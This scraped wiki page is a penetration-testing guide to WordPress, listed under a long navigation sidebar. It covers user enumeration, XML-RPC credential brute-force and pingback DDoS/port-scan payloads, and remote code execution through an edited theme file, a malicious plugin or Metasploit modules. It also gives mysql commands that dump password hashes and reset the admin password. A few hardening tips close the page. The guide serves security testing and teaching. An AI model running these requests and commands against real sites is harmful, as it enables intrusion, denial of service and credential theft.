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HackTricks - Boitatech
  • HackTricks
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
    • Github Leaked Secrets
  • Phishing Methodology
    • Clone a Website
    • Detecting Phising
    • Phishing Documents
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • Shells
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • Linux/Unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • PAM - Pluggable Authentication Modules
      • SELinux
      • Logstash
      • AppArmor
      • Containerd (ctr) Privilege Escalation
      • Docker Breakout
      • electron/CEF/chromium debugger abuse
      • Escaping from Jails
      • Cisco - vmanage
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Interesting Groups - Linux PE
        • lxd/lxc Group - Privilege escalation
      • ld.so exploit example
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Payloads to execute
      • RunC Privilege Escalation
      • Seccomp
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Socket Command Injection
      • Wildcards Spare tricks
    • Useful Linux Commands
      • Bypass Bash Restrictions
    • Linux Environment Variables
  • MacOS
    • MacOS Security & Privilege Escalation
      • Mac OS Architecture
      • MacOS MDM
        • Enrolling Devices in Other Organisations
      • MacOS Protocols
      • MacOS Red Teaming
      • MacOS Serial Number
      • MacOS Apps - Inspecting, debugging and Fuzzing
  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
      • SeImpersonate from High To System
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • Dll Hijacking
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JAWS
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • PowerUp
      • Privilege Escalation Abusing Tokens
      • Privilege Escalation with Autoruns
      • RottenPotato
      • Seatbelt
      • SeDebug + SeImpersonate copy token
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
      • AD information in printers
      • ASREPRoast
      • BloodHound
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • DSRM Credentials
      • Golden Ticket
      • Kerberos Authentication
      • Kerberoast
      • MSSQL Trusted Links
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying
      • Force NTLM Privileged Authentication
      • Privileged Accounts and Token Privileges
      • Resource-based Constrained Delegation
      • Security Descriptors
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • NTLM
      • Places to steal NTLM creds
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WmicExec
      • AtExec / SchtasksExec
      • WinRM
    • Stealing Credentials
      • Credentials Protections
      • Mimikatz
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView
    • AV Bypass
  • Mobile Apps Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Burp Suite Configuration for Android
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Inspeckage Tutorial
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • Basic iOS Testing Operations
      • Burp Suite Configuration for iOS
      • Extracting Entitlements From Compiled Application
      • Frida Configuration in iOS
      • iOS App Extensions
      • iOS Basics
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
  • Pentesting
    • Pentesting Network
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
      • Pentesting IPv6
      • Nmap Summary (ESP)
      • Network Protocols Explained (ESP)
      • IDS and IPS Evasion
      • DHCPv6
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
      • Accounting bypass
      • Buffer Overflows
      • Credentials Disclosure / Brute-Force
      • Cross-Site Printing
      • Document Processing
      • Factory Defaults
      • File system access
      • Firmware updates
      • Memory Access
      • Physical Damage
      • Software packages
      • Transmission channel
      • Print job manipulation
      • Print Job Retention
      • Scanner and Fax
    • Pentesting SAP
    • Pentesting Kubernetes
      • Enumeration from a Pod
      • Hardening Roles/ClusterRoles
      • Pentesting Kubernetes from the outside
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Apache
      • Artifactory Hacking guide
      • Buckets
        • Firebase Database
        • AWS-S3
      • CGI
      • Code Review Tools
      • Drupal
      • Flask
      • Git
      • Golang
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • JBOSS
      • Jenkins
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
      • Special HTTP headers
      • Spring Actuators
      • Symphony
      • Tomcat
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • werkzeug
      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
    • 15672 - Pentesting RabbitMQ Management
    • 27017,27018 - Pentesting MongoDB
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Abusing hop-by-hop headers
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • Cross-site WebSocket hijacking (CSWSH)
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
    • Domain/Subdomain takeover
    • Email Header Injection
    • File Inclusion/Path traversal
      • phar:// deserialization
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • H2C Smuggling
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • NoSQL injection
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • PostMessage Vulnerabilities
    • Race Condition
    • Rate Limit Bypass
    • Registration Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MSSQL Injection
      • Oracle injection
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Extensions
      • MySQL injection
        • Mysql SSRF
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
    • Reverse Tab Nabbing
    • Unicode Normalization vulnerability
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • PDF Injection
      • DOM XSS
      • Server Side XSS (Dynamic PDF)
      • XSS Tools
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search
  • Forensics
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Adquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • EXT
        • File/Data Carving & Recovery Tools
        • NTFS
      • Pcap Inspection
        • DNSCat pcap analysis
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • .pyc
        • Browser Artifacts
        • Desofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Windows Processes
        • Interesting Windows Registry Keys
  • A.I. Exploiting
    • BRA.I.NSMASHER Presentation
      • Basic Bruteforcer
      • Basic Captcha Breaker
      • BIM Bruteforcer
      • Hybrid Malware Classifier Part 1
  • Blockchain
    • Blockchain & Crypto Currencies
  • Courses and Certifications Reviews
    • INE Courses and eLearnSecurity Certifications Reviews
  • Cloud Security
    • Cloud security review
    • AWS Security
  • Physical attacks
    • Physical Attacks
    • Escaping from KIOSKs
      • Show file extensions
  • Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Word Macros
  • Exploiting
    • Linux Exploiting (Basic) (SPA)
      • Format Strings Template
      • ROP - call sys_execve
      • ROP - Leaking LIBC address
        • ROP - Leaking LIBC template
      • Bypassing Canary & PIE
      • Ret2Lib
      • Fusion
    • Exploiting Tools
      • PwnTools
    • Windows Exploiting (Basic Guide - OSCP lvl)
  • Cryptography
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
  • BACKDOORS
    • Merlin
    • Empire
    • Salseo
    • ICMPsh
  • Stego
    • Stego Tricks
    • Esoteric languages
  • MISC
    • Basic Python
      • venv
      • Bypass Python sandboxes
      • Magic Methods
      • Web Requests
      • Bruteforce hash (few chars)
    • Other Big References
  • TODO
    • More Tools
    • MISC
    • Pentesting DNS
  • Burp Suite
  • Other Web Tricks
  • Interesting HTTP
  • Emails Vulnerabilities
  • Android Forensics
  • TR-069
  • 6881/udp - Pentesting BitTorrent
  • CTF Write-ups
    • challenge-0521.intigriti.io
    • Try Hack Me
      • hc0n Christmas CTF - 2019
      • Pickle Rick
  • 1911 - Pentesting fox
  • Online Platforms with API
  • Stealing Sensitive Information Disclosure from a Web
  • Post Exploitation
Powered by GitBook
On this page
  • Basic Information
  • Main WordPress Files
  • Users Permissions
  • Passive Enumeration
  • Get WordPress version
  • Get Plugins
  • Get Themes
  • Extract versions in general
  • Active enumeration
  • Plugins and Themes
  • Users
  • XML-RPC
  • wp-cron.php DoS
  • /wp-json/oembed/1.0/proxy - SSRF
  • SSRF
  • Automatic Tools
  • Panel RCE
  • MSF
  • Plugin RCE
  • PHP plugin
  • Uploading and activating malicious plugin
  • Post Exploitation
  • WordPress Protection
  • Regular Updates
  • Security Plugins
  • Other Recommendations
  • ****

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  1. Pentesting
  2. 80,443 - Pentesting Web Methodology

Wordpress

PreviouswerkzeugNextXSS to RCE Electron Desktop Apps

Last updated 3 years ago

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Basic Information

Uploaded files go to: Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: **Using theme twentytwelve you can access the 404.php file in: [/wp-content/themes/twentytwelve/404.php]() Another useful url could be: [/wp-content/themes/default/404.php*](***

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php

  • license.txt contains useful information such as the version WordPress installed.

  • wp-activate.php is used for the email activation process when setting up a new WordPress site.

  • Login folders (may be renamed to hide it):

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress .

  • The wp-content folder is the main directory where plugins and themes are stored.

  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.

  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.

Post exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Users Permissions

  • Administrator

  • Editor: Publish and manages his and others posts

  • Author: Publish and manage his own posts

  • Contributor: Write and manage his posts but cannot publish them

  • Subscriber: Browser posts and edit their profile

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

  • meta name

  • CSS link files

  • JavaScript files

Get Plugins

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Get Themes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extract versions in general

curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins and Themes

You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to actively Brute Force a list of Plugins and Themes (hopefully for us there are automated tools that contains this lists).

Users

ID Brute

You get valid users from a WordPress site by Brute Forcing users IDs:

curl -s -I -X GET http://blog.example.com/?author=1

If the responses are 200 or 30X, that means that the id is valid. If the the response is 400, then the id is invalid.

wp-json

You can also try to get information about the users by querying:

curl http://blog.example.com/wp-json/wp/v2/users

Only information about the users that has this feature enable will be provided.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

XML-RPC

To see if it is active try to access to /xmlrpc.php and send this request:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port. This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

If you get faultCode with **a value greater then 0** (17), it means the port is open.

Take a look to the use of system.multicallin the previous section to learn how to abuse this method to cause DDoS.

wp-cron.php DoS

This file usually exists under the root of the Wordpress site: /wp-cron.php When this file is accessed a "heavy" MySQL query is performed, so I could be used by attackers to cause a DoS. Also, by default, the wp-cron.php is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).

It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).

Bruteforce

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
    <methodName>wp.uploadFile</methodName>
    <params>
        <param><value><string>1</string></value></param>
        <param><value><string>username</string></value></param>
        <param><value><string>password</string></value></param>
        <param>
            <value>
                <struct>
                    <member>
                        <name>name</name>
                        <value><string>filename.jpg</string></value>
                    </member>
                    <member>
                        <name>type</name>
                        <value><string>mime/type</string></value>
                    </member>
                    <member>
                        <name>bits</name>
                        <value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
                    </member>
                </struct>
            </value>
        </param>
    </params>
</methodCall>

DDOS

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://target/</string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>

/wp-json/oembed/1.0/proxy - SSRF

This is the response when it doesn't work:

SSRF

This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Panel RCE

Modifying a php from the theme used (admin credentials needed)

Appearance → Editor → 404 Template (at the right)

Change the content for a php shell:

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin. Create your php backdoor using for example:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Uploading and activating malicious plugin

Some time logon users do not own writable authorization to make modifications to the WordPress theme, so we choose “Inject WP pulgin malicious” as an alternative strategy to acquiring a web shell.

So, once you have access to a WordPress dashboard, you can attempt installing a malicious plugin. Here I’ve already downloaded the vulnerable plugin from exploit db.

Since we have zip file for plugin and now it’s time to upload the plugin.

Dashboard > plugins > upload plugin

Browse the downloaded zip file as shown.

Once the package gets installed successfully, we need to activate the plugin.

When everything is well setup then go for exploiting. Since we have installed vulnerable plugin named “reflex-gallery” and it is easily exploitable.

You will get exploit for this vulnerability inside Metasploit framework and thus load the below module and execute the following command:

1234

use exploit/unix/webapp/wp_slideshowgallery_uploadset rhosts 192.168.1.101set targeturi /wordpressexploit

As the above commands are executed, you will have your meterpreter session. Just as portrayed in this article, there are multiple methods to exploit a WordPress platformed website.

Post Exploitation

Extract usernames and passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Change admin password:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Protection

Regular Updates

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, only install trustable WordPress plugins and themes.

Security Plugins

Other Recommendations

  • Remove default admin user

  • Use strong passwords and 2FA

  • Periodically review users permissions

  • Limit login attempts to prevent Brute Force attacks

  • Rename wp-admin.php file and only allow access internally or from certain IP addresses.

****

Inside the source code of the page (example from ):

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process for example).

Using the correct credentials you can upload a file. In the response the path will appears ()

Try to access and the Worpress site may make a request to you.

Search in internet how can you access that updated page. In thi case you have to access here:

(This part is copied from )

Click **to download the plugin for practice.

********

********

********

http://10.10.10.10/wp-content/uploads/2018/08/a.txt
http://10.11.1.234/wp-content/themes/twentytwelve/404.php
http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
REST API
https://wordpress.org/support/article/pages/
using this
https://gist.github.com/georgestephanis/5681982
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net
http://10.11.1.234/wp-content/themes/twentytwelve/404.php
https://www.hackingarticles.in/wordpress-reverse-shell/
here
Wordfence Security
Sucuri Security
iThemes Security
https://github.com/t0gu/quickpress/blob/master/core/requests.gogithub.com